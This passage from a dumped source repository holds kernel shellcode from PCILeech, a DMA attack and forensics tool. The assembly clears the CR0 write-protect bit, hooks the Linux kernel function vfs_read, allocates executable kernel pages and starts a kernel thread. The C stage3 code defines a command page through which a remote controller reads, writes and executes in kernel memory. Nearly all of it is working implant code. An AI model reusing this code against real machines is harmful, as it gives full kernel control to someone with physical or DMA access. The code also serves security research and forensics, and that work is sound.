----------------------------------------------------\n\tXOR rcx, rcx\n\tMOV r8, [addr_vfs_read]\n\tLEA r9, data_hook_original_32\n\thook_fn_copy_loop:\n\tMOV rax, [r8 + rcx]\n\tMOV [r9 + rcx], rax\n\tADD rcx, 8\n\tCMP rcx, 32\n\tJNE hook_fn_copy_loop\n\t; ----------------------------------------------------\n\t; 5: COPY PAGE TO ALLOC'ED LOCATION.\n\t; ----------------------------------------------------\n\tXOR rcx, rcx\n\tLEA r8, main\n\tSHR r8, 12\n\tSHL r8, 12\n\tpage_copy_loop:\n\tMOV rax, [r8 + rcx]\n\tMOV [r12 + rcx], rax\n\tADD rcx, 8\n\tCMP rcx, 1000h\n\tJNE page_copy_loop\n\t; ----------------------------------------------------\n\t; 5: ENABLE SUPERVISOR WRITE.\n\t; ----------------------------------------------------\n\tMOV rax, cr0\n\tMOV r15, rax\n\tAND eax, 0fffeffffh\n\tMOV cr0, rax\n\t; ----------------------------------------------------\n\t; 6: PATCH KERNEL 'vfs_read'.\n\t; ----------------------------------------------------\n\tXOR rcx, rcx\n\tMOV r8, [addr_vfs_read]\n\tLEA r9, hook_shellcode\n\thook_fn_patch_loop:\n\tMOV rax, [r9 + rcx]\n\tMOV [r8 + rcx], rax\n\tADD rcx, 8\n\tCMP rcx, 32\n\tJNE hook_fn_patch_loop\n\t; ----------------------------------------------------\n\t; 7: CLEAN UP AND EXIT.\n\t; ----------------------------------------------------\n\tMOV cr0, r15\n\tMOV [data_phys_addr_alloc], r13d\n\tRET\nsetup_uefi_rt ENDP\n\n; ------------------------------------------------------------------\n; Retrieve the PAGE_OFFSET_BASE\n; r14 -> kallsyms_lookup_name\n; rax <- value of PAGE_OFFSET_BASE\n; ------------------------------------------------------------------\nm_page_offset_base PROC\n\tMOV rax, [addr_page_offset_base]\n\tTEST rax, rax\n\tJZ kaslr_pg_disable\n\tMOV rax, [rax]\n\tRET\n\tkaslr_pg_disable:\n\tMOV rax, 0ffff880000000000h\n\tRET\nm_page_offset_base ENDP\n\nm_phys_to_virt PROC\n\tPUSH rdi\n\tCALL m_page_offset_base\n\tPOP rdi\n\tADD rax, rdi\n\tRET\nm_phys_to_virt ENDP\n\nm_vmemmap_base PROC\n\tMOV rax, [addr_vmemmap_base]\n\tTEST rax, rax\n\tJZ kaslr_memmap_disable\n\tMOV rax, [rax]\n\tRET\n\tkaslr_memmap_disable:\n\tMOV rax, 0ffffea0000000000h\n\tRET\nm_vmemmap_base ENDP\n\nm_page_to_phys PROC\n\tPUSH rdi\n\tCALL m_vmemmap_base\n\tPOP rdi\n\tSUB rdi, rax\n\tSHR rdi, 7\t\t; PFN\n\tSHL rdi, 12\n\tMOV rax, rdi\n\tRET\nm_page_to_phys ENDP\n\nstr_kallsyms\t\t\t\tdb 0, 'kallsyms_lookup_name', 0\nstr_kthread_create_on_node\tdb 'kthread_create_on_node', 0\nstr_alloc_pages_current\t\tdb 'alloc_pages_current', 0\nstr_page_offset_base\t\tdb 'page_offset_base', 0\nstr_vmemmap_base\t\t\tdb 'vmemmap_base', 0\nstr_vfs_read\t\t\t\tdb 'vfs_read', 0\nstr_set_memory_x\t\t\tdb 'set_memory_x', 0\nstr_wake_up_process\t\t\tdb 'wake_up_process', 0\nstr_pcileech\t\t\t\tdb 'pcileech', 0\ndata_cmpxchg_flag\t\t\tdb 0\ndata_hook_original_32\t\tdq 0, 0, 0, 0\n\n; ------------------------------------------------------------------\n; Hook shellcode (26 bytes) to replace initial bytes of hooked\n; function (vfs_read). First call set_memory_x to make target\n; executable and then call into target.\n; ------------------------------------------------------------------\nhook_shellcode PROC\n\t; push 'vfs_read' 4 args to stack.\n\tPUSH rdi\t\t\t\t\t\t; 00 offset, 01 size\n\tPUSH rsi\t\t\t\t\t\t; 01 offset, 01 size\n\tPUSH rdx\t\t\t\t\t\t; 02 offset, 01 size\n\tPUSH rcx\t\t\t\t\t\t; 03 offset, 01 size\n\tMOV rdi, 8888888888888888h\t\t; 04 offset, 0a size, 06 data_offset\n\tPUSH rdi\t\t\t\t\t\t; 0e offset, 01 size (RET address for returning set_memory_x)\n\tMOV esi, 1\t\t\t\t\t\t; 0f offset, 05 size\n\tJMP label_fake + 77777777h\t\t; 14 offset, 05 size, 15 data_offset (call to set_memory_x)\n\tlabel_fake:\nhook_shellcode ENDP\n\n; -----------------------------------------------------------------------------\n; CODE EXECUTED BY 'vfs_read' KERNEL HOOK BELOW\n; -----------------------------------------------------------------------------\nhook_kernel_fn_landing_point PROC\n\t; ----------------------------------------------------\n\t; 1: SAVE ORIGINAL PARAMETERS\n\t; ----------------------------------------------------\n\t;PUSH rdi\t\t; already pushed by hook shellcode\n\t;PUSH rsi\t\t; already pushed by hook shellcode\n\t;PUSH rdx\t\t; already pushed by hook shellcode\n\t;PUSH rcx\t\t; already pushed by hook shellcode\n\tPUSH r8\n\tPUSH r9\n\tPUSH rbx\n\tPUSH rbp\n\tPUSH r12\n\tPUSH r13\n\tPUSH r14\n\tPUSH r15\n\t; ----------------------------------------------------\n\t; 2: ENABLE SUPERVISOR WRITE\n\t; ----------------------------------------------------\n\tMOV rdx, cr0\n\tMOV rax, rdx\n\tAND eax, 0fffeffffh\n\tMOV cr0, rax\n\t; ----------------------------------------------------\n\t; 3: RESTORE ORIGNAL (32 bytes) & SUPERVISOR WRITE\n\t; ----------------------------------------------------\n\tXOR rcx, rcx\n\tMOV r8, [addr_vfs_read]\n\tLEA r9, data_hook_original_32\n\thook_fn_copy_loop:\n\tMOV rax, [r9 + rcx]\n\tMOV [r8 + rcx], rax\n\tADD rcx, 8\n\tCMP rcx, 32\n\tJNE hook_fn_copy_loop\n\tMOV cr0, rdx\n\t; ----------------------------------------------------\n\t; 4: ENSURE ATOMICITY IN THREADED ENVIRONMENTS\n\t; ----------------------------------------------------\n\tMOV al, 00h\n\tMOV dl, 01h\n\tLEA rcx, data_cmpxchg_flag\n\tLOCK CMPXCHG [rcx], dl\n\tJNE skipcall\n\t; ----------------------------------------------------\n\t; 5: CALL SETUP STAGE3 CODE\n\t; ----------------------------------------------------\n\tCALL setup_stage3\n\t; ----------------------------------------------------\n\t; 6: RESTORE AND JMP BACK TO UNHOOKED FUNCTION\n\t; ----------------------------------------------------\n\tskipcall:\n\tPOP r15\n\tPOP r14\n\tPOP r13\n\tPOP r12\n\tPOP rbp\n\tPOP rbx\n\tPOP r9\n\tPOP r8\n\tPOP rcx\n\tPOP rdx\n\tPOP rsi\n\tPOP rdi\n\tJMP [addr_vfs_read]\nhook_kernel_fn_landing_point ENDP\n\n; ----------------------------------------------------\n; This code compiles into 53 bytes. This is copied by\n; stage3 area by the setup function.\n; Linux cannot use the simpler windows stage3 pre code\n; since the thread will get stuck without a sleep.\n; ----------------------------------------------------\nlx64_stage3_pre PROC\n\tlabel_main_base:\t\n\tJMP label_main_loop\n\tstr_msleep db 'msleep', 0\n\tlabel_main_loop:\n\tLEA rdi, str_msleep\n\tLEA rax, label_main_base-1000h+10h\t\t; KMDDATA.qwAddrKallsymsLookupName\n\tMOV rax, [rax]\n\tCALL rax\n\tMOV rdi, 100\n\tCALL rax\n\tLEA rax, label_main_base-8h\n\tMOV rax, [rax]\n\tCMP rax, 0\n\tJZ label_main_loop\nlx64_stage3_pre ENDP\n\n; ----------------------------------------------------\n; clear_8k\n; clear 8192 bytes of memory\n; rdi -> starting address\n; ----------------------------------------------------\nclear_8k PROC\n\tXOR rax, rax\n\tMOV ecx, 1024\n\tCLD\n\tREP STOSQ [rdi]\n\tRET\nclear_8k ENDP\n\nsetup_stage3 PROC\n\t; ----------------------------------------------------\n\t; 1: ALLOC PAGES.\n\t; ----------------------------------------------------\n\tMOV rdi, 14h\n\tMOV rsi, 2h\n\tCALL [addr_alloc_pages_current]\n\t; ----------------------------------------------------\n\t; 2: RETRIEVE PHYS/VIRT ADDRESSES OF PAGES.\n\t; ----------------------------------------------------\n\tMOV rdi, rax\n\tCALL m_page_to_phys\n\tMOV r13, rax\n\tMOV rdi, r13\n\tCALL m_phys_to_virt\n\tMOV r12, rax\n\t; ----------------------------------------------------\n\t; 3: SET CODE PAGE TO EXECUTABLE.\n\t; ----------------------------------------------------\n\tMOV rdi, r12\n\tMOV rsi, 2\n\tCALL [addr_set_memory_x]\n\t; ----------------------------------------------------\n\t; 4: CLEAR AND COPY STAGE3 PRE BINARY TO AREA.\n\t; ----------------------------------------------------\n\tMOV rdi, r12\n\tCALL clear_8k\n\tMOV rdi, 64\n\tcopy_stage3_pre_loop:\n\tSUB rdi, 8\n\tLEA rax, lx64_stage3_pre\n\tMOV rax, [rax+rdi]\n\tMOV rsi, r12\n\tADD rsi, 1000h\n\tADD rsi, rdi\n\tMOV [rsi], rax\n\tTEST rdi, rdi\n\tJNZ copy_stage3_pre_loop\n\t; ----------------------------------------------------\n\t; 5: CREATE THREAD & SET UP DATA AREA.\n\t; ----------------------------------------------------\n\tMOV rdi, r12\n\tADD rdi, 01000h\n\tXOR rsi, rsi\n\tXOR rdx, rdx\n\tSUB rdx, 1\n\tLEA rcx, str_pcileech\n\tCALL [addr_kthread_create_on_node]\n\tMOV [r12+58h], rax   ; KMDDATA.ReservedKMD\n\tMOV rax, [addr_kallsyms_lookup_name]\n\tMOV [r12+10h], rax   ; KMDDATA.AddrKallsymsLookupName\n\t; ----------------------------------------------------\n\t; 6: START THREAD.\n\t; ----------------------------------------------------\n\tMOV rdi, [r12+58h]\n\tCALL [addr_wake_up_process]\n\t; ----------------------------------------------------\n\t; 7: FINISH!\n\t; ----------------------------------------------------\n\tMOV [data_phys_addr_alloc], r13d\n\tRET\nsetup_stage3 ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/lx64_stage3.asm",
    "content": "; lx64_stage3.asm : assembly to receive execution from stage2 shellcode.\n; Compatible with Linux x64.\n;\n; (c) Ulf Frisk, 2016-2024\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\nEXTRN stage3_c_EntryPoint:NEAR\nEXTRN stage3_c_TryMigrateEntryPoint:NEAR\n\n.CODE\n\nmain PROC\n\t; ----------------------------------------------------\n\t; 1: SAME INITIAL BYTE SEQUENCE AS lx64_stage3_pre.asm\n\t;    r15: storage for store old stack ptr (rsp)\n\t; ----------------------------------------------------\n\tlabel_main_base:\t\n\tJMP label_main_loop\n\tstr_msleep db 'msleep', 0\n\tlabel_main_loop:\n\tLEA rdi, str_msleep\n\tLEA rax, label_main_base-1000h+10h\t\t; KMDDATA.AddrKallsymsLookupName\n\tMOV rax, [rax]\n\tCALL rax\n\tMOV rdi, 100\n\tCALL rax\n\tLEA rax, label_main_base-8h\n\tMOV rax, [rax]\n\tCMP rax, 0\n\tJZ label_main_loop\n\t; ----------------------------------------------------\n\t; 2: SAVE STACK PTR & SET UP STACK\n\t; ----------------------------------------------------\n\tPUSH rbx\n\tPUSH rbp\n\tPUSH r11\n\tPUSH r12\n\tPUSH r14\n\tPUSH r15\n\tMOV r15, rsp\n\tAND rsp, 0FFFFFFFFFFFFFFF0h\n\tSUB rsp, 020h\n\t; ----------------------------------------------------\n\t; 3: CALL C CODE: MIGRATE FROM 'alloc_pages' TO 'dma_alloc_coherent' (IF POSSIBLE))\n\t; ----------------------------------------------------\t\n\tLEA rcx, label_main_base - 1000h\t\t; address of data page (KMDDATA) in parameter 1\n\tCALL stage3_c_TryMigrateEntryPoint\n\tWBINVD\n\tTEST rax, rax\n\tJZ migrate_fail_continue\n\n\t; success - migrate execution to new buffer\n\tLEA rdx, migrate_execute_continue\n\tADD rax, rdx\n\tJMP rax\n\t; execution migrated\n\tmigrate_execute_continue:\n\tLEA rcx, label_main_base - 1000h\t\t; address of data page (KMDDATA)\n\tMOV rax, 1\n\tMOV [rcx+68h], rax\t\t\t\t\t\t; KMDDATA.ReservedKMD[2] (migrated mark)\n\tmigrate_fail_continue:\n\t; ----------------------------------------------------\n\t; 4: CALL C CODE: ENTRY POINT\n\t; ----------------------------------------------------\n\tLEA rcx, label_main_base - 1000h\t\t; address of data page (KMDDATA) in parameter 1\n\tCALL stage3_c_EntryPoint\n\t; ----------------------------------------------------\n\t; 5: RESTORE AND RETURN\n\t; ----------------------------------------------------\n\terror:\n\tMOV rsp, r15\n\tPOP r15\n\tPOP r14\n\tPOP r12\n\tPOP r11\n\tPOP rbp\n\tPOP rbx\n\tRET\nmain ENDP\n\n\n; ------------------------------------------------------------------\n; Lookup function pointers and place them in the supplied struct\n; rcx -> address of kallsyms_lookup_name\n; rdx -> ptr to FNLX struct \n; ------------------------------------------------------------------\nLookupFunctions PROC\n\t; ----------------------------------------------------\n\t; 0: SET UP / STORE NV-REGISTERS\n\t; ----------------------------------------------------\n\tPUSH r15\n\tPUSH r14\n\tPUSH r13\n\tMOV r15, rcx\t\t\t\t; address of kallsyms_lookup_name\n\tMOV r14, rdx\t\t\t\t; ptr to FNLX struct \n\tMOV r13, 25*8\t\t\t\t; num functions * 8\n\t; ----------------------------------------------------\n\t; 1: PUSH FUNCTION NAME POINTERS ON STACK\n\t; ----------------------------------------------------\n\tLEA rax, str_msleep\n\tPUSH rax\n\tLEA rax, str_alloc_pages_current\n\tPUSH rax\n\tLEA rax, str_set_memory_x\n\tPUSH rax\n\tLEA rax, str__free_pages\n\tPUSH rax\n\tLEA rax, str_memcpy\n\tPUSH rax\n\tLEA rax, str_schedule\n\tPUSH rax\n\tLEA rax, str_do_gettimeofday\n\tPUSH rax\n\tLEA rax, str_walk_system_ram_range\n\tPUSH rax\n\tLEA rax, str_iounmap\n\tPUSH rax\n\tLEA rax, str_ioremap\n\tPUSH rax\n\tLEA rax, str_ktime_get_real_ts64\n\tPUSH rax\n\tLEA rax, str_ioremap_nocache\n\tPUSH rax\n\tLEA rax, str_getnstimeofday64\n\tPUSH rax\n\tLEA rax, str_alloc_pages\n\tPUSH rax\n\tLEA rax, str_set_memory_nx\n\tPUSH rax\n\tLEA rax, str_set_memory_rox\n\tPUSH rax\n\tLEA rax, str_set_memory_rw\n\tPUSH rax\n\tLEA rax, str_dummy\n\tPUSH rax\n\tLEA rax, str_dma_free_attrs\n\tPUSH rax\n\tLEA rax, str_platform_device_alloc\n\tPUSH rax\n\tLEA rax, str_platform_device_add\n\tPUSH rax\n\tLEA rax, str_platform_device_put\n\tPUSH rax\n\tLEA rax, str_dma_alloc_attrs\n\tPUSH rax\n\tLEA rax, str_memset\n\tPUSH rax\n\tLEA rax, str_alloc_pages_noprof\n\tPUSH rax\n\t; ----------------------------------------------------\n\t; 2: LOOKUP FUNCTION POINTERS BY NAME\n\t; ----------------------------------------------------\n\tlookup_loop:\n\tSUB r13, 8\n\tMOV rcx, r15\n\tPOP rdx\n\tCALL SysVCall\n\tMOV [r14+r13], rax\n\tTEST r13, r13\n\tJNZ lookup_loop\n\t; ----------------------------------------------------\n\t; 3: IF 'ioremap' DOES NOT EXIST FALLBACK TO 'ioremap_nocache'\n\t; ----------------------------------------------------\n\tMOV rax, [r14+9*8]\n\tTEST rax, rax\n\tJNZ lookup_finish_ioremap\n\tMOV rax, [r14+11*8]\n\tMOV [r14+9*8], rax\n\tlookup_finish_ioremap:\n\t; ----------------------------------------------------\n\t; 4: IF 'alloc_pages_current' DOES NOT EXIST FALLBACK TO 'alloc_pages' or 'alloc_pages_noprof'\n\t; ----------------------------------------------------\n\tMOV rax, [r14+1*8]\n\tTEST rax, rax\n\tJNZ lookup_finish_alloc_pages\n\tMOV rax, [r14+13*8]\t\t\t\t; 'alloc_pages'\n\tMOV [r14+1*8], rax\n\tTEST rax, rax\n\tJNZ lookup_finish_alloc_pages\n\tMOV rax, [r14+24*8]\t\t\t\t; 'alloc_pages_noprof'\n\tMOV [r14+1*8], rax\n\tTEST rax, rax\n\tlookup_finish_alloc_pages:\n\t; ----------------------------------------------------\n\t; 5: RESTORE NV REGISTERS AND RETURN\n\t; ----------------------------------------------------\n\tPOP r13\n\tPOP r14\n\tPOP r15\n\tRET\nLookupFunctions ENDP\n\n; ----------------------------------------------------\n; clear_8k\n; clear 8192 bytes of memory\n; rdi -> starting address\n; ----------------------------------------------------\nclear_8k PROC\n\tXOR rax, rax\n\tMOV ecx, 1024\n\tCLD\n\tREP STOSQ [rdi]\n\tRET\nclear_8k ENDP\n\nstr_alloc_pages_current\t\t\tdb\t\t'alloc_pages_current', 0\nstr_set_memory_nx\t\t\t\tdb\t\t'set_memory_nx', 0\nstr_set_memory_rox\t\t\t\tdb\t\t'set_memory_rox', 0\nstr_set_memory_rw\t\t\t\tdb\t\t'set_memory_rw', 0\nstr_set_memory_x\t\t\t\tdb\t\t'set_memory_x', 0\nstr__free_pages\t\t\t\t\tdb\t\t'__free_pages', 0\nstr_memcpy\t\t\t\t\t\tdb\t\t'memcpy', 0\nstr_schedule\t\t\t\t\tdb\t\t'schedule', 0\nstr_do_gettimeofday\t\t\t\tdb\t\t'do_gettimeofday', 0\nstr_page_offset_base\t\t\tdb\t\t'page_offset_base', 0\nstr_vmemmap_base\t\t\t\tdb\t\t'vmemmap_base', 0\nstr_walk_system_ram_range\t\tdb\t\t'walk_system_ram_range', 0\nstr_iounmap\t\t\t\t\t\tdb\t\t'iounmap', 0\nstr_ioremap\t\t\t\t\t\tdb\t\t'ioremap', 0\nstr_ioremap_nocache\t\t\t\tdb\t\t'ioremap_nocache', 0\nstr_ktime_get_real_ts64\t\t\tdb\t\t'ktime_get_real_ts64', 0\nstr_getnstimeofday64\t\t\tdb\t\t'getnstimeofday64', 0\nstr_alloc_pages\t\t\t\t\tdb\t\t'alloc_pages', 0\nstr_platform_device_alloc\t\tdb\t\t'platform_device_alloc', 0\nstr_platform_device_add\t\t\tdb\t\t'platform_device_add', 0\nstr_platform_device_put\t\t\tdb\t\t'platform_device_put', 0\nstr_dma_alloc_attrs\t\t\t\tdb\t\t'dma_alloc_attrs', 0\nstr_dma_free_attrs\t\t\t\tdb      'dma_free_attrs', 0\nstr_memset\t\t\t\t\t\tdb\t\t'memset', 0\nstr_alloc_pages_noprof\t\t\tdb      'alloc_pages_noprof', 0\nstr_dummy\t\t\t\t\t\tdb\t\t0\n\n; ------------------------------------------------------------------\n; Convert from the Windows X64 calling convention to the SystemV\n; X64 calling convention used by Linux. A maximum of three (5)\n; parameters in addition to the function ptr can be supplied.\n; QWORD SysVCall(QWORD fn, QWORD p1, QWORD p2, QWORD p3, QWORD p4, QWORD p5);\n; QWORD SysVCall(QWORD fn, ...);\n; ------------------------------------------------------------------\nSysVCall PROC\n\tMOV rax, rcx\n\tPUSH rdi\n\tPUSH rsi\n\n\tMOV rdi, rdx\n\tMOV rsi, r8\n\tMOV rdx, r9\n\tMOV rcx, [rsp+28h+2*8+00h] ; 20h stack shadow space + 8h (RET) + 2*8h PUSH + xxh offset\n\tMOV r8,  [rsp+28h+2*8+08h]\n\tMOV r9,  [rsp+28h+2*8+10h]\n\n\tPUSH r15\n\tMOV r15, rsp\n\tAND rsp, 0FFFFFFFFFFFFFFF0h\n\tSUB rsp, 020h\n\tCALL rax\n\tMOV rsp, r15\n\tPOP r15\n\n\tPOP rsi\n\tPOP rdi\n\tRET\nSysVCall ENDP\n\n; ------------------------------------------------------------------\n; Retrieve the PAGE_OFFSET_BASE\n; Function uses Linux calling convention.\n; rdi -> addr of kallsysms_lookup_name\n; rax <- value of PAGE_OFFSET_BASE\n; ------------------------------------------------------------------\nm_page_offset_base PROC\n\tMOV rax, rdi\n\tLEA rdi, str_page_offset_base\n\tCALL rax\n\tTEST rax, rax\n\tJZ kaslr_pg_disable\n\tMOV rax, [rax]\n\tRET\n\tkaslr_pg_disable:\n\tMOV rax, 0ffff880000000000h\n\tRET\nm_page_offset_base ENDP\n\n; ------------------------------------------------------------------\n; Convert a physical address to a virtual address (Linux)\n; Function uses Windows calling convention (rcx = 1st param)\n; rcx -> addr of kallsysms_lookup_name\n; rdx -> physical_address\n; rax <- virtual_address\n; ------------------------------------------------------------------\nm_phys_to_virt PROC\n\tPUSH rdi\n\tPUSH rsi\n\tPUSH r15\n\tMOV rdi, rcx\n\tMOV r15, rdx\n\tCALL m_page_offset_base\n\tADD rax, r15\n\tPOP r15\n\tPOP rsi\n\tPOP rdi\n\tRET\nm_phys_to_virt ENDP\n\n; ------------------------------------------------------------------\n; Retrieve the VMEMMAP_BASE\n; Function uses Linux calling convention.\n; KASLR of vmemmap_base was introduced in kernel 4.10\n; in earlier versions it is fixed to: 0ffffea0000000000h\n; rdi -> addr of kallsysms_lookup_name\n; rax <- value of VMEMMAP_BASE\n; ------------------------------------------------------------------\nm_vmemmap_base PROC\n\tMOV rax, rdi\n\tLEA rdi, str_vmemmap_base\n\tCALL rax\n\tTEST rax, rax\n\tJZ kaslr_memmap_disable\n\tMOV rax, [rax]\n\tRET\n\tkaslr_memmap_disable:\n\tMOV rax, 0ffffea0000000000h\n\tRET\nm_vmemmap_base ENDP\n\n; ------------------------------------------------------------------\n; Convert a struct_page to to a physical address (Linux)\n; Function uses Windows calling convention (rcx = 1st param)\n; rcx -> addr of kallsysms_lookup_name\n; rdx -> addr of struct page\n; rax <- physical address\n; ------------------------------------------------------------------\nm_page_to_phys PROC\n\tPUSH rdi\n\tPUSH rsi\n\tPUSH rdx\n\tMOV rdi, rcx\n\tCALL m_vmemmap_base\n\tPOP rdx\n\tSUB rdx, rax\n\tSHR rdx, 7\t\t; PFN\n\tSHL rdx, 12\n\tMOV rax, rdx\n\tPOP rsi\n\tPOP rdi\n\tRET\nm_page_to_phys ENDP\n\n; ------------------------------------------------------------------\n; Receives callback from walk_system_ram_range for each range.\n; rdi -> pfn_start\n; rsi -> pfn_size\n; rdx -> PKMDDATA\n; rax <- 0\n; ------------------------------------------------------------------\ncallback_walk_system_ram_range PROC\n\tSHL rdi, 12\t\t\t\t; convert to bytes\n\tSHL rsi, 12\t\t\t\t; convert to bytes\n\tMOV rax, [rdx + 028h]\t; PKMDDATA->DMAAddrVirtual\n\tMOV rcx, [rdx + 048h]\t; PKMDDATA->_size\n\tADD rax, rcx\n\tMOV [rax], rdi\n\tMOV [rax+8], rsi\n\tADD rcx, 10h\n\tMOV [rdx + 048h], rcx\t; PKMDDATA->_size\n\tXOR rax, rax\n\tRET\ncallback_walk_system_ram_range ENDP\n\n; ------------------------------------------------------------------\n; Receives callback from walk_system_ram_range before a memcpy is\n; attempted. Validate if whole range is within range\n; rdi -> pfn_start (mem_range)\n; rsi -> pfn_size  (mem_range)\n; rdx -> PKMDDATA\n; rax <- 0 (if all in range), 1 (out of range)\n; ------------------------------------------------------------------\ncallback_ismemread_inrange PROC\n\tSHL rdi, 12\t\t\t\t; convert to bytes (mem_range_base)\n\tSHL rsi, 12\t\t\t\t; convert to bytes (mem_range_size)\n\tMOV r8, [rdx + 040h]\t; PKMDDATA->_address (req_base)\n\tMOV r9, [rdx + 048h]\t; PKMDDATA->_size (req_size)\n\tADD rsi, rdi\t\t\t; range (mem_range_top)\n\tADD r9, r8\t\t\t\t; read  (req_top)\n\tCMP r8, rdi\t\t\t\t; req_base < mem_range_base -> out of range\n\tJL out_of_range\n\tCMP r9, rsi\n\tJG out_of_range\t\t\t; req_top > mem_range_top -> out of range\n\tXOR rax, rax\n\tRET\n\tout_of_range:\n\tXOR rax, rax\n\tINC rax\n\tRET\ncallback_ismemread_inrange ENDP\n\n; ----------------------------------------------------\n; Flush the CPU cache.\n; ----------------------------------------------------\nCacheFlush PROC\n\tWBINVD\n\tRET\nCacheFlush ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/lx64_stage3_c.c",
    "content": "// lx64_stage3_c.c : stage3 main shellcode.\n// Compatible with Linux x64.\n//\n// (c) Ulf Frisk, 2016-2024\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\ntypedef void                    VOID, *PVOID;\ntypedef int                     BOOL, *PBOOL;\ntypedef unsigned char           BYTE, *PBYTE;\ntypedef char                    CHAR, *PCHAR;\ntypedef unsigned short          WORD, *PWORD;\ntypedef unsigned long           DWORD, *PDWORD;\ntypedef unsigned __int64        QWORD, *PQWORD;\ntypedef void                    *HANDLE;\n#define MAX_PATH                260\n#define TRUE                    1\n#define FALSE                   0\n\nextern QWORD SysVCall(QWORD fn, ...);\nextern QWORD LookupFunctions(QWORD qwAddr_KallsymsLookupName, QWORD qwAddr_FNLX);\nextern QWORD m_phys_to_virt(QWORD qwAddr_KallsymsLookupName, QWORD pa);\nextern QWORD m_page_to_phys(QWORD qwAddr_KallsymsLookupName, QWORD p1);\nextern VOID callback_walk_system_ram_range();\nextern VOID callback_ismemread_inrange();\nextern VOID CacheFlush();\n\n#define LOOKUP_FUNCTION(pk, szFn) (SysVCall(pk->AddrKallsymsLookupName, szFn))\n\ntypedef struct _PHYSICAL_MEMORY_RANGE {\n    QWORD BaseAddress;\n    QWORD NumberOfBytes;\n} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;\n\ntypedef struct _TIMEVAL {\n    QWORD tv_sec;\n    QWORD tv_usec;\n} TIMEVAL, *PTIMEVAL;\n\ntypedef struct tdFNLX { // VOID definitions for LINUX functions (used in main control program)\n    QWORD msleep;\n\tQWORD alloc_pages_current;\n\tQWORD set_memory_x;\n\tQWORD __free_pages;\n\tQWORD memcpy;\n\tQWORD schedule;\n\tQWORD do_gettimeofday;\n\tQWORD walk_system_ram_range;\n\tQWORD iounmap;\n\tQWORD ioremap;\n\t// optional values below - do not use\n\tQWORD ktime_get_real_ts64;      // do_gettimeofday alternative if export is missing.\n\tQWORD _ioremap_nocache;\n\tQWORD getnstimeofday64;\t\t\t// do_gettimeofday alternative if export is missing.\n\tQWORD alloc_pages;\n\tQWORD set_memory_nx;\t\t\t// 6.4+ kernels\n\tQWORD set_memory_rox;\t\t\t// 6.4+ kernels\n\tQWORD set_memory_rw;\t\t\t// 6.4+ kernels\n\tQWORD _wincall_asm_callback;\t// linux ksh-module specific callback address (settable by ksh module). [offset: 0x88 / 0x388]\n\tQWORD dma_free_attrs;\n\tQWORD platform_device_alloc;\n\tQWORD platform_device_add;\n\tQWORD platform_device_put;\n\tQWORD dma_alloc_attrs;\n\tQWORD memset;\n\tQWORD alloc_pages_noprof;\n\tQWORD ReservedFutureUse[7];\n} FNLX, *PFNLX;\n\n#define KMDDATA_OPERATING_SYSTEM_LINUX          0x02\n#define KMDDATA_OPERATING_SYSTEM_MIGRATE        0xffffffff00000000\n\n/*\n* KMD DATA struct. This struct must be contained in a 4096 byte section (page).\n* This page/struct is used to communicate between the inserted kernel code and\n* the pcileech program.\n* VNR: 003\n*/\ntypedef struct tdKMDDATA {\n\tQWORD MAGIC;\t\t\t\t\t// [0x000] magic number 0x0ff11337711333377.\n\tQWORD AddrKernelBase;\t\t\t// [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS).\n\tQWORD AddrKallsymsLookupName;\t// [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).\n\tQWORD DMASizeBuffer;\t\t\t// [0x018] size of DMA buffer.\n\tQWORD DMAAddrPhysical;\t\t\t// [0x020] physical address of DMA buffer.\n\tQWORD DMAAddrVirtual;\t\t\t// [0x028] virtual address of DMA buffer.\n\tQWORD _status;\t\t\t\t\t// [0x030] status of operation\n\tQWORD _result;\t\t\t\t\t// [0x038] result of operation TRUE|FALSE\n\tQWORD _address;\t\t\t\t\t// [0x040] address to operate on.\n\tQWORD _size;\t\t\t\t\t// [0x048] size of operation / data in DMA buffer.\n\tQWORD OperatingSystem;\t\t\t// [0x050] operating system type\n\tQWORD ReservedKMD[8];\t\t\t// [0x058] reserved for specific kmd data (dependant on KMD version).\n\tQWORD ReservedFutureUse1[13];\t// [0x098] reserved for future use.\n\tQWORD dataInExtraLength;\t\t// [0x100] length of extra in-data.\n\tQWORD dataInExtraOffset;\t\t// [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataInExtraLengthMax;\t\t// [0x110] maximum length of extra in-data. \n\tQWORD dataInConsoleBuffer;\t\t// [0x118] physical address of 1-page console buffer.\n\tQWORD dataIn[28];\t\t\t\t// [0x120]\n\tQWORD dataOutExtraLength;\t\t// [0x200] length of extra out-data.\n\tQWORD dataOutExtraOffset;\t\t// [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataOutExtraLengthMax;\t// [0x210] maximum length of extra out-data. \n\tQWORD dataOutConsoleBuffer;\t\t// [0x218] physical address of 1-page console buffer.\n\tQWORD dataOut[28];\t\t\t\t// [0x220]\n\tFNLX fn;\t\t\t\t\t\t// [0x300] used by shellcode to store function pointers.\n\tCHAR dataInStr[MAX_PATH];\t\t// [0x400] string in-data\n\tCHAR ReservedFutureUse2[252];\n\tCHAR dataOutStr[MAX_PATH];\t\t// [0x600] string out-data\n\tCHAR ReservedFutureUse3[252];\n\tQWORD ReservedFutureUse4[255];\t// [0x800]\n\tQWORD _op;\t\t\t\t\t\t// [0xFF8] (op is last 8 bytes in 4k-page)\n} KMDDATA, *PKMDDATA;\n\n// ReservedKMD MAP:\n// [0] = task_struct*\n// [1] = page* (2-page alloc, if exists)\n// [2] = is_migrated (0: no, 1: yes)\n// [3] = page* (large buffer, if exists)\n// [4] = platform_device* (large buffer, if exists)\n\n#define KMD_CMD_VOID\t\t\t0xffff\n#define KMD_CMD_COMPLETED\t\t0\n#define KMD_CMD_READ\t\t\t1\n#define KMD_CMD_WRITE\t\t\t2\n#define KMD_CMD_TERMINATE\t\t3\n#define KMD_CMD_MEM_INFO\t\t4\n#define KMD_CMD_EXEC\t\t    5\n#define KMD_CMD_READ_VA\t\t\t6\n#define KMD_CMD_WRITE_VA\t\t7\n\n/*\n* Lookup functions in kallsyms_lookup_name.\n*/\nBOOL LookupFunctionsEx(PKMDDATA pk)\n{\n    DWORD i;\n    PFNLX pfn = &pk->fn;\n    